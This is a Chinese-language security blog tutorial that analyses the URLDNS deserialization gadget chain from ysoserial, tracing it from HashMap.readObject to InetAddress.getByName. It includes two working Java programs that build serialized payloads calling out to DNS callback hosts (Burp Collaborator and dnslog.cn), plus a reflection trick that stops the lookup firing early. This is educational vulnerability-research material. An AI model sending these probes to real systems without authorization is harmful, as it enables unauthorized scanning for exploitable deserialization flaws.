Java反序列化URLDNS利用链分析

前言

URLDNS这条链子的功能就是触发一次DNS请求,因为对第三方库没有依赖和对JDK没有要求,适合用来检测是否存在反序列化漏洞。

利用链分析

通过ysoserial这个工具可以看到URLDNS这条链的payload。

image-20220807093449634

比较简短,可以看到,传入的参数是url,返回的是HashMap的实例对象ht,那我们来具体分析一下,这条链到底做了什么。

对一个对象进行反序列化会调用这个对象的readObject方法,首先看看HashMap对象的readObject方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
image-20220807094126232

最后一条语句对key执行hash方法,接下来跟进hash。

image-20220807094419227

在hash方法中,会调用key的hashCode方法,也就是说,通过创建一个HashMap对象,对该对象的key传入其他任意对象,再对HashMap实例进行序列化,再将其进行反序列化时,就会触发执行任意对象hashCode方法。

那么HashMap对象的key传入什么对象才会触发一次DNS请求操作呢?ysoserial传入的是一个URL对象。

image-20220807095321059

接下来,我们看看URL的hashCode方法。

image-20220807095503477

该方法也会调用handler的hashCode方法,并将当前对象传入,handlerURLStreamHandler的实例对象。

进行URLStreamHandler看看hashCode方法。

image-20220807100219613

可以看到方法中调用了getHostAddress,传入的产生为一个URL对象,跟进getHostAddress。

image-20220807101119210

调用用了URL的getHostAddress方法,跟进。

image-20220807101309773

这里我们就看罪魁祸首了,InetAddress.getByName的作用就是根据主机名获取ip地址,会进行一次DNS查询。

image-20220807101741339

那么至此,我们得到一个利用链

1
2
3
4
5
6
7
HashMap->readObject
HashMap->hash
URL->hashCode
URLStreamHandler->hashCode
URLStreamHandler->getHostAddress
URL->getHostAddress
-> InetAddress.getByName(host)

接下来,通过上面的利用链,自己来构造一条。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.URLDNS;

import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class DNSURL2 {
public static void main(String[] args) throws Exception{
// 构建URLStreamHandler
URLStreamHandler h = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
};
// 请求url
String url = "http://t60w9vifj3wnsvsu9drcigusijo9cy.burpcollaborator.net";
URL u = new URL(null, url, h);

HashMap<Object, Object> map = new HashMap<>();
map.put(u, 123);

// 序列化
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);

// 反序列化
// FileInputStream fis = new FileInputStream("ser.bin");
// ObjectInputStream ois = new ObjectInputStream(fis);
// ois.readObject();


}
}

这里将反序列化注释后,依旧会触发一次dns请求,原因是我们将URL对象放进HashMap也就是执行put操作的时候,也会执行一次hash方法,多多少少还是有点瑕疵。

image-20220807104045449

规避在序列化就执行dns请求的方法也很简单,在URL类的hashCode方法中。

image-20220807104245613

我们只需要在执行put前将URL对象的hashCode通过反射改成除了-1之外的其他数,然后再在序列化前将hashCode改回-1,就能规避掉这个瑕疵。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.URLDNS;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class DNSURL2 {
public static void main(String[] args) throws Exception{
// 构建URLStreamHandler
URLStreamHandler h = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
};
// 请求url
String url = "http://j04kqf.dnslog.cn";
URL u = new URL(null, url, h);
// 防止在执行put时触发dns查询
setFieldValue(u, "hashCode", 111);

HashMap<Object, Object> map = new HashMap<>();
map.put(u, 123);

// 改回来
setFieldValue(u, "hashCode", -1);

// 序列化
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);

// 反序列化
FileInputStream fis = new FileInputStream("ser.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}

public static void setFieldValue(Object o, String f, int v) throws Exception{
Class c = o.getClass();
Field field = c.getDeclaredField(f);
field.setAccessible(true);
field.set(o, v);
}
}
image-20220807111727739

这样就解决了URLDNS这条链子触发两次的情况。

ysoserial解决两次触发的方式

但是在ysoserial中,并不算这样做的。

image-20220807112604414

他写了一个继承继承了URLStreamHandler的SilentURLStreadHandler类,重写了getHostAddress方法。

image-20220807112805675

可以看到,直接返回了null,为什么这样也可以呢。我们只需要看看URL中传入的handler参数修饰符就知道了。

image-20220807113021449

transient修饰符的作用是将这个属性就不会序列化到指定的目的地中。也就是说,HashMap在执行put方法的时候,调用的方法不是URLStreamHandler中的getHostAddress方法,而是自己构造继承至URLStreamHandler的SilentURLStreamHandler中重新的getHostAddress,因为返回null,所有在序列化前并不会触发dns请求。而这个方法也并不会序列化进对象,所以在反序列化的时候调用的为URLStreamHandler中的getHostAddress,才执行了dns请求。

参考文章

木头师傅

https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54#f3b2a19f

Java安全漫谈 - 08.反序列列化篇(2)